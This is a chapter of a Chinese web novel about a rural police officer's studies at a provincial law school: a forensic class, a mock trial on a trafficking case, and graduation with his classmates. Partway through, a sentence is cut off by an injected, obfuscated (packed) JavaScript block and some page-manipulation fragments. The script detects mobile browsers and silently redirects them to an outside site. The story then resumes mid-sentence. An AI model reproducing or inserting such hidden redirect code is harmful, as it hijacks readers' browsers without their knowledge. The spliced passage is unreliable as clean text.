42.铸火成钢

作品:《警营岁月

    第36章:警营春秋:淬火成钢


    【文章摘要】:本文讲述了主人公周明森在省政法学院学习期间的经历和感悟。周明森从昝岗乡来到政法学院,学习到了许多新的知识和技能。在法医学课上,他深刻体会到了“实事求是”的重要性,并从王磊那里得到了一本关于常见损伤类型的笔记。在模拟法庭上,他通过自己的基层经验,成功地为一起农村拐卖案辩护,并得到了教授的认可。在毕业前夕,他与同学们分享了自己的经历和感悟,并约定将来互相帮助。最后,他带着新学的本事和对家乡的热爱,回到了昝岗乡,准备迎接新的挑战。


    一、象牙塔下的锋芒


    省政法学院的梧桐叶刚落满小径时,我背着半袋昝岗乡的小米,站在刻着“厚德明法”的石牌坊下,白衬衫的领口被秋风吹得发皱。这袋小米是妻子凌晨起来装的,她说省城的米不如家里的养人,特意选了今年新收的谷子,碾得干干净净,还在布袋角绣了个小小的“周”字。


    身后传来自行车铃声,叮铃铃的,像串轻快的音符。一个穿蓝布校服的姑娘捏着车把笑,辫子在身后甩得欢快:“大叔,您是新生吧?看这行李,是侦查系的?系办公室在那边,顺着梧桐道走到底,红砖墙的那栋就是。”


    我摸着胸前的党员徽章,冰凉的金属硌着心口,突然想起李振猛送我时说的话:“到了省城,说话办事都机灵点,别让人看出你是‘土八路’,让人笑话。”可握着小米袋的手心早就出汗——宿舍楼道里飘着香皂味,是那种带着茉莉香的,和所里常年不散的汗味、烟味截然不同;擦肩而过的学生们背着双肩包,嘴里聊着“犯罪心理侧写”“痕迹鉴定技术”“DNA分型”,那些词像串陌生的密码,让我捏着入学通知书的手紧了紧,纸边都被攥得发皱。


    502宿舍的门虚掩着,推开门时,林宇正举着哑铃锻炼,肌肉线条在白T恤下起伏,汗水顺着脖颈往下淌,滴在磨得发亮的水泥地上。“新同学?”他放下哑铃,发出“哐当”一声响,指节因为用力泛着白,指了指靠窗户的上铺,“给你留的,视野最好,能看见操场和图书馆。”他说话带着省城口音,语速快,透着股爽朗。


    靠窗的书桌前,陈峰推了推眼镜,从厚厚的《犯罪现场勘查学》里抬起头,镜片后的眼睛像藏着把尺子,打量人的时候一丝不苟:“陈峰,来自洛阳派出所。”他的笔记本摊在桌上,上面画着精密的现场草图,门窗的位置、家具的摆放、足迹的走向,铅笔线条比仪器量的还准。“你从南阳来?”他突然问,手指点了点我胸前隐约露出的警号痕迹,“听说你们那儿去年破了个大拐卖案?省报都报道了。”


    我把小米袋放在墙角,粗布袋子摩擦地面发出沙沙声,在这整洁的宿舍里,突然觉得这袋金黄的谷物像个突兀的符号。林宇瞥见袋子上“昝岗乡粮站”的字样,挑了挑眉笑:“带土特产了?够实在。我们家老爷子总说,最实在的人才能办最实在的事。”陈峰则从柜子里翻出个玻璃饭盒,盖子一拧,冒出股酱香:“我妈给我装的牛肉酱,用洛阳的黄酱做的,晚上拌面条吃,给你分点。”


    第一个夜晚,宿舍的灯亮到后半夜。林宇讲着他参与过的银行抢劫案,说当时怎么用弹道分析锁定枪手位置,唾沫星子溅在哑铃上:“那弹头嵌在承重墙里,钢筋混着水泥,硬得很。我们用X光机照了三小时,才算出射击角度,最后顺着弹道轨迹,在对面楼的水箱里把人揪了出来——那小子躲在里面,浑身都泡白了。”


    陈峰则翻着本国外的犯罪现场照片集,指尖点着照片上的模糊印记:“你看这个,”他指着一枚模糊的指纹,“这是用荧光试剂处理过的,边缘比普通粉末显现法清晰三倍,连指纹的汗孔都能看见。咱们所里要是有这技术,上次那个盗窃案的指纹就不会成死线索了。”


    我插不上话,只能摩挲着赵所长送的那本《党章》,封皮都被我摸得发亮。“你们那儿办案,靠啥?”林宇突然问,哑铃在手里转得飞快,金属碰撞声打破了沉默。


    “靠腿。”我望着窗外的月光,它和昝岗乡的月光一样,清清凉凉的,突然笑了,“昝岗乡就那么大,十里八村的,谁家有啥亲戚,谁家养了几只鸡,老少爷们都门儿清。挨家挨户问,总能问出线索。王家庄的张老太记性好,谁家来了陌生人,穿啥衣裳,骑啥车,都能说个门儿清;李村的狗也灵,见了外乡人就咬,比报警器还管用。”


    陈峰推了推眼镜,镜片反射着灯光:“效率太低了。现在都用大数据排查,输入性别、年龄、体貌特征,三秒钟就能调出辖区内所有符合条件的人,比挨家挨户问快十倍。”


    “可数据不会告诉你,王家庄的张老汉说谎时会摸鼻子,李村的媳妇被问急了会抠衣角。”我摸出怀里的笔记本,那是我在派出所记了五年的“识人经”,纸页边缘被汗水浸得发脆,上面记着“刘老五:说谎时眼神瞟向东南”“赵婶:心里有事时总拍大腿”。“这些,是数据学不来的。”


    林宇的哑铃停在半空,陈峰也合上了书。那晚的月光透过纱窗,在笔记本上投下细碎的光斑,像撒了把昝岗乡的星星。林宇突然笑了,把哑铃往床底一塞,发出“咚”的一声:“明早六点,操场见?我教你格斗术,你教我‘识人经’,公平交易。”


    二、解剖室里的冷汗


    法医学课的解剖室在地下室,阴冷得像口深井。寒气透过白大褂渗进来,冻得人指尖发麻,连呼吸都带着白雾。福尔马林的味道浓得化不开,呛得我直想咳嗽,嗓子眼又干又辣。眼前的标本瓶一排一排立着,里面泡着人体器官,标签上的字迹被药水浸得模糊不清,“心脏”“肝脏”“大脑”……那些在课本上见过无数次的名词,此刻变成冰冷的实物,沉甸甸地压在心上。


    张教授戴着白手套,手里举着块泛着黄的骨头,在解剖灯的照射下,边缘的裂痕看得一清二楚。“这是典型的钝器伤,”他的声音平静得像在说天气,“边缘呈不规则形,有多处重叠打击痕迹,符合铁棍击打特征。你们记住,尸体不会说谎,它会用伤痕、用姿态、用每一处细微的变化告诉你真相,关键是你们能不能听懂它的语言。”


    我盯着那块骨头,突然想起三年前处理的一起坠楼案。死者是个三十多岁的男人,从自家二楼阳台掉下来,摔在院子里的石板上。当时我去看了现场,阳台栏杆有磨损,死者身上没有明显外伤,家属也说他最近生意失败,情绪低落,就认定是自杀。可死者的老母亲总拉着我的手哭:“他不会轻生的,他昨天还说要给我买新棉袄……”


    现在才知道,若是他杀,被人推下楼时,骨骼的断裂面会有细微的生活反应,边缘会有出血痕迹,而自杀坠落的骨骼损伤更集中。那时的我,连放大镜都不会用,只凭着“看着像自杀”就下了结论,连法医都没请。此刻想起那老太太红着眼圈的模样,后背突然沁出层冷汗,顺着脊椎往下淌,把衬衫都浸湿了。


    “周明森!”教授突然喊我的名字,声音在空旷的解剖室里格外清晰,带着回响。


    我脑子“嗡”的一声,像被重锤砸了下,手心瞬间出汗。课本上的“对冲性挫伤”“减速性损伤”“生活反应”在脑子里打架,那些名词明明昨天还背得滚瓜烂熟,此刻却像一群乱窜的蚂蚱,怎么也抓不住。半天说不出话,只能愣愣地站着,感觉全班同学的目光都落在我身上,像针扎一样。


    林宇在后排偷偷比了个手势,手指弯成个“C”形,我却没看懂。周围传来低低的窃笑声,像针一样扎在脸上,烧得慌。


    “看来基层民警对法医知识确实接触少。”教授的声音没带责备,他把骨头放回托盘,金属碰撞声让我一激灵。“但你们记住,哪怕学不会解剖,也要知道什么时候该请法医——一个错误的判断,可能让真凶逍遥法外,让死者含冤地下,让家属永远活在疑惑里。这是我们当警察的失职,更是对生命的不尊重。”


    那天下午,我在解剖室待到天黑。标本瓶里的眼睛在灯光下泛着冷光,像在无声地质问。我掏出赵所长的《党章》,翻到“实事求是”那页,指腹一遍遍摩挲着纸面——原来所谓“实事求是”,不光是办案要实,更是要承认自己的不足,不懂装懂才是最大的不老实。


    王磊找到我时,手里拎着两个热包子,塑料袋上还沾着面粉,是从食堂刚买的。“俺见你没回宿舍,就猜你在这儿。”他把包子塞给我,热气透过塑料袋传过来,暖乎乎的,“食堂阿姨说,猪肉大葱馅的,跟咱老家的味道像。”他又塞给我一本笔记,纸页边缘卷得像海带,用线缝了好几次。“这是俺哥给的,他在市公安局做法医,上面记着常见的损伤类型,用咱能听懂的话写的,比课本好懂。”


    笔记里夹着张照片,一个穿白大褂的年轻人在解剖台前记录,胸前的工作证上写着“王强”。“俺哥说,他第一次看尸体时,吐了三天,吃啥吐啥,最后连黄胆水都吐出来了。”王磊挠挠头,耳尖发红,“但他说,想到死者家属在外面等着消息,那眼神跟盼着救星似的,就逼着自己学,现在啥场面都能顶住了。”


    我咬着包子,热乎的馅汁烫得舌头发麻,心里却亮堂起来。原来谁都有怕的东西,关键是能不能为了该坚持的事,把那份怕咽下去。就像当初在洪水里,谁不怕被冲走?可看着王大娘在屋顶哭,就只能往前冲。


    三、模拟法庭上的交锋


    模拟法庭设在学院的礼堂,红色的“法”字挂在正中,烫金的,比乡政府会议室的党旗更让人紧张。我扮演公诉人,林宇是辩护人,陈峰当法官,王磊负责出示证据——案子是教授选的:一起农村拐卖案,被告人花钱买下被拐妇女,拘禁在家两个月,和我经手的小花案惊人地相似。


    “被告人明知张某是被拐卖的妇女,仍以三万元买下并非法拘禁,其行为已构成收买被拐卖的妇女罪、非法拘禁罪,应数罪并罚!”我念着起诉书,声音却有些发颤。不是紧张,是想起了小花,想起她被救时,手腕上那圈深深的勒痕,像条丑陋的蛇。台下第一排坐着张教授,他的眼神像手术刀,仿佛要剖开我的每一个措辞,每一丝情绪。


    林宇突然站起来,西装革履的样子和平时举哑铃的他判若两人,领带打得笔直。“反对!”他声音洪亮,带着股不容置疑的气势,“公诉人忽略了被告人的主观恶性。被告人年近五十,因家贫娶不上媳妇,村里像他这样的光棍还有三个。他买媳妇,是为了传宗接代,这在当地是‘惯例’。其行为虽违法,但情有可原。”他晃了晃手里的村民证言,纸张在他指间发出哗啦声,“村里有十三位村民证明,被告人对张某并无虐待行为,吃穿用度都没亏待,比有些人家的亲媳妇还好。”


    我攥着发言稿的手紧了紧,指节泛白。想起小花那个案子里,买主老李在派出所嘶吼:“我花了钱的!她就得给我生娃!这村里谁不是这么过来的!”突然明白教授选这个案子的用意——法律不仅要惩罚罪恶,更要辨明善恶的边界,要对抗那些所谓的“惯例”。


    “情有可原?”我提高声音,目光扫过台下,突然看到角落里坐着个穿蓝布衫的姑娘,扎着两个辫子,像极了刚被救出来的小花。喉咙发紧,却字字清晰:“如果被拐卖的是你的姐妹、你的女儿,你还会说‘情有可原’吗?”我掏出小花画的玉米地素描,那是临走时她塞给我的,纸角都磨圆了,上面画着个小小的女孩,在玉米地里种玉米,旁边写着歪歪扭扭的“家”字。“这是一个被拐少女画的,她在柴房里种玉米,说‘等玉米长出来,就能回家了’。被告人的‘情有可原’,是建立在摧毁别人人生的基础上!是把一个女孩的自由和梦想,当成了可以买卖的商品!”


    礼堂里鸦雀无声,只有窗外的风吹着梧桐叶响,哗啦啦的,像谁在低声啜泣。陈峰敲了敲法槌,木槌碰撞声让我回过神:“公诉人,请出示量刑依据。”


    我翻开《刑法》,手指落在“收买被拐卖的妇女罪”那一条,指尖因为用力而泛白:“根据《中华人民共和国刑法》第二百四十一条规定,收买被拐卖的妇女的,处三年以下有期徒刑、拘役或者管制。但考虑到被告人非法拘禁长达两个月,并有殴打行为,致被害人轻微伤,应从重处罚。”


    辩论结束后,张教授走上台,皮鞋踩在地板上发出笃笃声,在寂静的礼堂里格外清晰。他突然问:“周明森,如果你是法官,会判几年?”


    “两年六个月。”我脱口而出,眼前闪过小花手腕上的勒痕,闪过她画的玉米地,“让他记住,贫穷不是犯罪的理由,落后的‘惯例’不能凌驾于法律之上,尊重生命和自由,是做人的底线,谁也不能破。”


    教授点点头,看向全场:“这就是基层经验的价值。法律条文是死的,但人心是活的。你们要学的,不是照搬条文,是让法律长出牙齿,能咬碎罪恶;也长出温度,能护着弱小。周明森把案子办进了心里,所以他的话有力量。”


    下台时,林宇拍着我的肩膀,手心的温度透过衬衫传过来:“老大哥,服了。你刚才说‘玉米地’那段,我差点掉眼泪。我以前总觉得法律就是条文,今天才明白,里面装着人的苦和盼。”


    陈峰推了推眼镜,镜片后的眼睛亮了:“我查了案例,类似案情的判决,大多在两年到三年之间,你说得很准。而且你把被害人的心理伤害加进去了,这在量刑时很重要,是我没想到的。”


    王磊递来瓶矿泉水,瓶盖已经拧松了,他总是这么细心:“俺给俺哥打电话了,他说下次回家,教俺现场勘查,还说要跟你请教怎么跟老百姓打交道——他总说,法医报告写得再准,要是跟家属说不明白,也是白搭。”


    我接过水,喝了一大口,冰凉的液体顺着喉咙往下淌,却暖得人心头发烫。原来那些在玉米地里、在柴房里、在老乡炕头上的经历,不是负担,是藏在骨血里的底气。


    四、深夜的家书与约定


    期末考前的深夜,宿舍只剩下我和陈峰。他在啃《犯罪现场重建》,书页翻动的声音像蚕食桑叶,沙沙的;我在给妻子写信,台灯的光晕落在信纸上,把“家里还好吗”四个字照得格外清晰。


    “闺女说,她的小红花攒够了,等我回去换奖状。”我写道,笔尖在纸上洇开小小的墨点,“今天模拟法庭,我想起你总说‘做人要心善’,原来法律也是讲良心的。张教授说,好警察得有三颗心:对受害者的同情心,对罪犯的警惕心,对法律的敬畏心。我以前缺的,是后两颗,总觉得差不多就行,现在才知道,法律上的‘差不多’,对当事人就是天差地别。”


    窗外的月光透过纱窗照进来,在信纸上投下格子状的影子,像昝岗乡田埂的纹路。我接着写:“林宇他们都比我有文化,懂的技术多,但我也不怵,咱有咱的本事。就像赵所长说的,土办法有土办法的道理,关键是得跟新法子结合起来。等我回去,教你认认《刑法》,以后村里谁再吵架,你也能跟他们讲讲理。”


    陈峰突然抬头,眼镜滑到鼻尖,露出一双布满红血丝的眼睛:“周哥,你说咱们学这些,真能用到基层吗?”他指着书上的“DNA鉴定”“弹道分析”,指尖在纸页上轻轻敲击,“俺们县公安局,连台指纹比对仪都没有,查指纹全靠人工翻档案,学这些是不是白费劲?”


    我想起赵所长的《党章》,想起扉页上“实事求是,因地制宜”那八个字,想起刘小花种的玉米粒,那么小,却能长出那么高的玉米:“就像种地,总得先学会选种、施肥,哪怕现在没条件,总有一天用得上。你看昝岗乡,以前连自行车都少见,现在不也有警车了?十年前谁能想到,咱这山沟里能通电话?”我把信折起来,塞进信封,邮票是闺女贴的,歪歪扭扭却牢牢粘在上面,上面印着天安门,是她最喜欢的图案。“关键是心里得有这根弦,知道什么是对的,什么是该坚持的。现在学了,将来条件好了,咱就能上手;就算条件暂时跟不上,至少咱知道方向在哪儿,不会走歪路。”


    陈峰没说话,只是把眼镜推回原位,重新低下头看书,只是翻书的动作慢了些,像是在琢磨我的话。过了一会儿,他突然从抽屉里拿出个笔记本,翻开其中一页:“周哥,你看我画的这个流程图,是根据你说的调解纠纷的法子改的,加了法律依据在里面。比如处理宅基地纠纷,第一步先看土地证,第二步查村里的老台账,第三步找双方长辈和村支书一起座谈,最后再引用《土地管理法》的条款。你觉得这样行不行?”


    我凑过去看,他画的流程图工工整整,用不同颜色的笔画出步骤和依据,一目了然。“太好了!”我由衷地赞叹,“这样一来,既保留了咱农村讲人情、找长辈的老规矩,又有法律兜底,老百姓既听得懂,又心服口服。等我回去,就把这个用到刘家沟的纠纷调解上,肯定管用。”


    陈峰的脸上露出点不好意思的笑,耳根微微发红:“还是你那个‘先找情理,再讲法


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17056305|192731||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    理’的思路好,我就是把它细化了一下。以前总觉得法律是硬邦邦的,现在才明白,它也能跟咱老百姓的日子融到一块儿去。”


    窗外的月光越来越亮,像泼了一地的银水。远处传来王磊的呼噜声,他白天帮食堂搬煤,又去图书馆占座,累坏了,睡得正香。林宇去了网吧,说是要跟他爸视频请教个案例——他爸是省厅的老刑警,脾气倔,但教起人来一点不含糊。这就是我们的夜晚,在课本和现实之间,在理想和乡愁之间,慢慢蹚出条路,有点磕绊,却很踏实。


    毕业前最后一晚,我们四个凑钱在食堂买了菜,把小桌子搬到宿舍,算是个简单的散伙饭。四个菜:炒青菜、西红柿炒蛋、红烧肉,还有王磊从老家带来的腌萝卜,脆生生的,很下饭。林宇的脚踝还没好利索——上周练格斗时不小心崴了,此刻坐在床上,捧着个搪瓷缸子,里面的白酒晃出细小的涟漪。


    “敬咱爸咱妈!”王磊举着缸子,手有点抖,声音带着点哽咽,“俺妈说,出门在外,朋友就是家人。这两年,你们待俺就跟亲哥似的,俺记一辈子。”


    酒辣得喉咙发烫,我却想起了妻子。上周她来信说,闺女在幼儿园画了幅画,上面有四个小人,都穿着警服,她说“这个高的是爸爸,这三个是爸爸的新朋友”。原来孩子什么都懂,我们在异乡结下的情谊,早被她用蜡笔记录下来了,简单又纯粹。


    林宇喝得有点多,脸颊通红,说起他爸总骂他“娇生惯养,吃不了苦”:“他不知道,我来上学前,在派出所实习,跟着老民警蹲过三天三夜的点,夏天蚊子咬得满身包,晚上冻得裹着报纸睡,最后把那偷车贼逮住时,我比拿奖学金还高兴。等回去了,我得让他看看,我不是温室里的花,是能扛事的警察。”


    陈峰突然放下筷子,声音有点闷:“我报这个专业,是因为我姐。她前几年被电信诈骗骗了五万块,那是准备给我哥娶媳妇的钱,气得住院了,差点没缓过来。我想学好法律,不光要抓骗子,还得教老百姓怎么防骗,特别是村里的老人,他们最容易上当。”


    轮到我时,我从抽屉里拿出小花寄来的最新一封信。她的字比以前工整多了,说“爷爷种的玉米熟了,给你留了最大的几个,等你回来煮着吃”,信纸里还夹着片干枯的玉米叶,带着阳光晒过的味道。“我想快点回去,”我看着窗外的月光,它和昝岗乡的月光一样亮,一样能照见人心,“把学的这些用上,让昝岗乡的孩子都能安心上学,不用怕被拐走;让老百姓遇到事,知道找法律说理,不用再靠拳头解决;让所里的案子办得更明白,让每一个坏人都受到惩罚,让每一个好人不受委屈。”


    王磊的眼泪掉在了腌萝卜上,吧嗒一声,他赶紧用袖子擦了擦:“俺也是。俺们那儿山高,丢个孩子就像掉进了无底洞,找都没法找。我得回去,把山路都走一遍,挨家挨户告诉他们咋防着坏人,咋报失踪案最快,咋保留证据。就算累点,也得干。”


    那晚的宿舍,酒气混着饭菜香,像个真正的家。我们约定,不管回了哪个派出所,遇到棘手的案子,都要互相通气,能帮的一定帮;不管过了多少年,都不能忘了今晚说的话——学本事,不是为了往上走,不是为了换个轻松的工作,是为了能替那些走不动的人,多撑一会儿;替那些不懂法的人,多讲几句;替那些受了委屈的人,多讨个公道。


    五、毕业典礼上的勋章


    毕业典礼那天,玉兰花又开了,白得像雪,一朵一朵挂在枝头,风一吹,落下来几片,飘在“厚德明法”的石牌坊上,像给那些字镶了道边。操场上挤满了人,家长们举着相机,学生们穿着学士服,帽穗在胸前晃来晃去,空气里都是欢喜又不舍的味道。


    校长站在主席台上,胸前的勋章在阳光下闪得耀眼。他说:“你们走出这扇门,会遇到比课本上更复杂的案子,会碰到比模拟法庭更难缠的当事人,会面对诱惑,会感到委屈,甚至会怀疑自己。但请记住——知识是武器,能帮你破局;良心是准星,能帮你瞄准方向。做警察,先做人,心正了,路就不会偏。”


    我看着台下的林宇、陈峰、王磊,他们三个站在一起,正朝我招手。突然想起我们在实验室的约定,那时王磊不小心打碎了标本瓶,吓得脸都白了,我们三个一起帮他收拾,还替他瞒了过去——后来教授其实知道了,却没说破,只是笑着说“年轻人犯错,改了就好”。


    “周哥,”林宇跑过来,把他那本《刑侦案例汇编》送给我,封面都翻得起了毛,扉页上有省厅老厅长的签名,龙飞凤舞的。他在旁边写着“机器会老,人心不老”,字歪歪扭扭,却透着股认真劲儿:“以后遇到棘手的案子,特别是涉及弹道、痕迹鉴定的,随时打我电话,我找我爸给你问。别嫌我爸脾气暴,他就服实在人,你把案子的来龙去脉说清楚,他指定帮你分析。”


    陈峰也递过来一个包,打开一看,是本《基层法律实务手册》,里面夹着他画的各种流程图,比上次给我看的更详细了,还有他手抄的常用法律条文,重点处用红笔标了出来。“这是我整理的,专门针对农村常见的纠纷,比如宅基地、彩礼、赡养这些,每个案子都附了处理办法和法律依据。”他推了推眼镜,有点不好意思,“比周大哥的土办法多了点法律依据,你结合着用。上次你说的张家庄宅基地纠纷,按这个步骤走,准没错,保证双方都挑不出理。”


    王磊最实在,塞给我一双解放鞋,崭新的,鞋面上还绣着朵小小的向日葵,是他娘的手艺。“俺娘说,这鞋底子厚,软和,比你那双警靴适合蹲点。你在昝岗乡跑村串户,穿这个舒服,不容易磨脚。”他挠挠头,露出点不好意思的笑,“俺哥说了,以后你那儿有需要法医鉴定的,不管多晚,给他打电话,他保证手把手教你看报告,实在不行,他抽空过去一趟也行——他说你是个干实事的,帮你就是帮老百姓。”


    我把从昝岗带来的小米,分了四份,用红布包着,红布是妻子给的,说喜庆。“这是咱昝岗的新米,熬粥香得很,养胃。”我把米递给他们,“回去给你爸妈尝尝,就当是咱昝岗乡的人,谢他们培养了个好儿子,将来能为老百姓办事。”


    林宇捏着米袋笑:“够实在,跟你人一样。我回去让我妈熬粥,给她讲讲这米背后的故事,讲讲昝岗乡的周警官是咋办案的。”陈峰则从包里掏出个小袋子,里面装着些黑色的种子:“这是洛阳的牡丹种子,耐寒,好活。种在派出所院子里,明年就能开花,比你们的老槐树好看,也让乡亲们瞧瞧,城里的花也能在咱乡下扎根。”


    王磊突然抱住我,力气大得像头小牛,勒得我有点喘不过气。“周哥,俺走了。”他的声音闷闷的,带着哭腔,“俺们那儿山高,信号不好,打电话费劲,俺给你写信,你可别忘了回。哪怕就写几个字,俺也等着。”


    我拍着他的背,说不出话。原来离别不是哭哭啼啼,是把对方的话刻在心里,带着这份念想,往该去的地方走。就像昝岗乡的麦子,熟了就得收割,往粮仓运,虽然离开土地,但能养活更多人。


    火车驶离郑州时,我望着窗外掠过的梧桐,它们和昝岗乡的玉米地不一样,叶子大,树干直,但都在风里摇着,像在说“慢走,常来”。我摸出胸前的党员徽章,它被体温焐得发烫,像颗跳动的心脏,提醒着我肩上的担子。


    行李箱里,林宇送的手册、陈峰的笔记、王磊的解放鞋,还有那袋没吃完的昝岗小米,都在轻轻晃动。它们和这枚徽章一样,都是逐光路上的伙伴——前路或许仍有迷雾,或许有泥泞,但只要心里的光不灭,就不怕走不亮那条回家的路。


    车过一座大桥时,我打开窗户,风灌进来,带着河水的气息,清清凉凉的。我想起赵所长送我离开时说的话:“出去学本事,不是为了忘了本,是为了回来更有底气,把咱昝岗乡守得更好。”现在我懂了,这底气不是来自课本上的字,是来自那些一起熬夜啃书的夜晚,来自那些把后背交给对方的信任,来自那些藏在心底的、想让更多人过得好一点的念想。


    远处的田野里,玉米正在拔节,绿油油的,像昝岗乡的模样。我知道,回去的路或许漫长,但每一步都踏实,因为我带着一身本事,更带着一群朋友的牵挂,带着对这片土地的热爱。昝岗乡的老槐树在等我,乡亲们在等我,我的家在等我——我回来了,带着新学的本事,也带着不变的初心,准备好迎接新的挑战,在警营的春秋里,继续淬火成钢。